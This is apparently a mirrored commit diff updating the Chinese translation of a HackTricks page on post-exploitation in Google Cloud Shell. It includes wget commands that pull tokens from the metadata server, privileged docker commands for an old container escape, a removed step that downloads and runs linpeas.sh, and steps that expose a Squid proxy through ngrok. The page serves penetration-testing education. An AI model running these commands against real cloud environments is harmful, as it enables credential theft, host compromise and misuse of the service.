mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 07:40:49 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -4,46 +4,46 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
有关 Cloud Shell 的更多信息,请参阅:
|
||||
有关 Cloud Shell 的更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### 从 metadata 获取用户 token
|
||||
|
||||
请注意 Google Cloud Shell 运行在容器内,你可以通过以下操作 **轻松逃逸到宿主机**:
|
||||
只需访问 metadata server,你就可以获取一个 token,以当前登录用户的身份进行访问:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> 之前 cloud shell 在一个容器中运行,并且能访问宿主机的 docker socket。现在 Google 已经改变了架构,cloud shell 容器运行的是 "Docker in a container" 的设置。因此即使能在 cloud shell 中使用 docker,也无法通过 docker socket 逃逸到宿主机。
|
||||
> 请注意,之前 `docker.sock` 文件位于 `/google/host/var/run/docker.sock`,但现在已移动到 `/run/docker.sock`。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Old container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
这不被 google 视为一个漏洞,但它能让你对该环境中发生的情况有更全面的了解。
|
||||
|
||||
此外,请注意,从主机上你可以找到 service account token:
|
||||
此外,过去可以在 metadata server 中找到 cloud shell VM 所使用的 service account 的 token:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
<summary>metadata 中的旧 service account</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
具有以下访问范围:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>获取服务账户的访问范围</summary>
|
||||
具有以下作用域:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
使用 LinPEAS 枚举 metadata:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用 LinPEAS 枚举 metadata</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
### 将其用作代理
|
||||
|
||||
在使用 [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) 并使用 Service Account 的令牌后,**未发现任何权限**...
|
||||
|
||||
### 将其作为代理使用
|
||||
|
||||
如果你想将你的 google cloud shell 实例作为代理使用,需要运行以下命令(或将它们插入 .bashrc 文件):
|
||||
如果你想将你的 google cloud shell 实例用作代理,你需要运行以下命令(或将它们插入到 .bashrc 文件中):
|
||||
|
||||
<details>
|
||||
|
||||
@@ -79,7 +67,7 @@ sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
顺便说明,Squid 是一个 HTTP 代理服务器。创建一个 **squid.conf** 文件,包含以下设置:
|
||||
顺便说明:Squid 是一个 http 代理服务器。创建一个 **squid.conf** 文件,使用以下设置:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -106,29 +94,29 @@ sudo cp squid.conf /etc/squid
|
||||
|
||||
<details>
|
||||
|
||||
<summary>启动 squid 服务</summary>
|
||||
<summary>启动 Squid 服务</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
</details>
|
||||
|
||||
使用 ngrok 使代理可以从外部访问:
|
||||
使用 ngrok 使 proxy 可从外部访问:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用 ngrok 暴露代理</summary>
|
||||
<summary>使用 ngrok 暴露 proxy</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
运行后复制 tcp:// url。如果想从浏览器运行代理,建议去掉 tcp:// 部分和端口,并在浏览器代理设置的端口字段中填写端口(squid 是一个 http 代理服务器)。
|
||||
运行后复制 tcp:// url。如果你想从浏览器运行 proxy,建议移除 tcp:// 部分和 port,并把该 port 填入浏览器 proxy 设置的 port 字段中(squid 是一个 http proxy 服务器)。
|
||||
|
||||
为了在启动时更好地使用,.bashrc 文件应包含以下几行:
|
||||
为了在启动时更好地使用,.bashrc 文件应包含以下行:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>添加到 .bashrc 以实现自动启动</summary>
|
||||
<summary>添加到 .bashrc 以自动启动</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
这些指令摘自 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)。查看该页面以获取在 Cloud Shell 中运行各种软件(数据库甚至 windows)的其他疯狂想法。
|
||||
这些说明摘自 [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)。查看该页面以获取在 Cloud Shell 中运行各种软件(数据库甚至 Windows)的其他疯狂想法。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user